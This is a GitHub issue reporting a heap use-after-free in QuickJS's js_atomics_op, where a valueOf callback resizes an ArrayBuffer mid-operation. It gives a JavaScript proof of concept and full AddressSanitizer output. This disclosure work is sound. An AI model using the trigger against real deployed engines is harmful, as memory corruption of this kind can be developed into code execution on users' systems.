Skip to content

Heap use after free in js_atomics_op #1302

@Mcsky23

Description

@Mcsky23

Overview

js_atomics_op calls js_atomics_get_ptr, which caches a pointer on the heap. When JS_ToUint32(ctx, &v32, argv[2]) is called, side-effects of arbitrary JS code can trigger an array buffer resize. This moves the buffer and frees the old memory, invalidating the cached ptr and triggering a Use-After-Free (UAF) when the specific atomic operation is executed. The bug is triggered by any function that calls js_atomics_op, i.e. Atomics.add, Atomics.sub, Atomics.and, Atomics.or, Atomics.xor, Atomics.exchange, Atomics.compareExchange.

This is similar to #1301 but I decided to open another issue as the bug happens in different functions.

PoC

const rab = new ArrayBuffer(1024, { maxByteLength: 1024 * 1024 });
const i32 = new Int32Array(rab);
const evil = {
    valueOf: () => {
        console.log("resize buffer");
        rab.resize(0); 
        return 123;
    }
};
Atomics.add(i32, 0, evil);
// Atomics.sub(i32, 0, evil);
// Atomics.and(i32, 0, evil);
// Atomics.or(i32, 0, evil);
// Atomics.xor(i32, 0, evil);

ASAN output:

=================================================================
==85378==ERROR: AddressSanitizer: heap-use-after-free on address 0x519000002880 at pc 0x5e2b91ad4247 bp 0x7fff7a0afe90 sp 0x7fff7a0afe80
WRITE of size 4 at 0x519000002880 thread T0
    #0 0x5e2b91ad4246 in js_atomics_op (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1dc246) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #1 0x5e2b91a8e6d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5e2b91965863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5e2b91966da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5e2b91aed921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5e2b91af2f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5e2b91af3454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5e2b91af86b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5e2b91afda7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5e2b9192bffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x76210be2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x76210be2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #12 0x5e2b9192c7d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

0x519000002880 is located 0 bytes inside of 1024-byte region [0x519000002880,0x519000002c80)
freed by thread T0 here:
    #0 0x76210c2fc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x5e2b919cd2ca in js_realloc (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xd52ca) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5e2b91ac2d05 in js_array_buffer_resize (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1cad05) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5e2b91a8e6d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5e2b91965863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5e2b91966da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5e2b9199ff5e in JS_CallFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xa7f5e) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5e2b91a0a29b in JS_ToPrimitiveFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11229b) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5e2b91a0b85f in JS_ToNumberHintFree (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x11385f) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5e2b91a0be2a in JS_ToInt32Free (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x113e2a) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x5e2b91ad3718 in js_atomics_op (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1db718) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x5e2b91a8e6d5 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1966d5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x5e2b91965863 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6d863) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #13 0x5e2b91966da4 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x6eda4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #14 0x5e2b91aed921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #15 0x5e2b91af2f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #16 0x5e2b91af3454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #17 0x5e2b91af86b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #18 0x5e2b91afda7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #19 0x5e2b9192bffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #20 0x76210be2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #21 0x76210be2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #22 0x5e2b9192c7d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

previously allocated by thread T0 here:
    #0 0x76210c2fd340 in calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
    #1 0x5e2b919c6bea in js_mallocz (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0xcebea) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #2 0x5e2b91b456c0 in js_array_buffer_constructor (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x24d6c0) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #3 0x5e2b91a8e811 in js_call_c_function (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x196811) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #4 0x5e2b91aea234 in JS_CallConstructorInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f2234) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #5 0x5e2b919765e9 in JS_CallInternal (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x7e5e9) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #6 0x5e2b91aed921 in js_async_function_resume (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1f5921) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #7 0x5e2b91af2f30 in js_async_function_call.constprop.0 (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1faf30) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #8 0x5e2b91af3454 in js_execute_sync_module (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1fb454) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #9 0x5e2b91af86b5 in js_inner_module_evaluation (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x2006b5) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #10 0x5e2b91afda7d in JS_EvalFunction (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x205a7d) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #11 0x5e2b9192bffc in main (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x33ffc) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)
    #12 0x76210be2a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #13 0x76210be2a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #14 0x5e2b9192c7d4 in _start (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x347d4) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/mcsky/Desktop/Tools/qjsng/quickjs/build/qjs+0x1dc246) (BuildId: bd6b1e0892bf1ce4e64ba048b75c233cb030ee56) in js_atomics_op
Shadow bytes around the buggy address:
  0x519000002600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002700: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x519000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x519000002880:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x519000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==85378==ABORTING

Reporter credit: mcsky23 (Vlad Ionut Seba)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions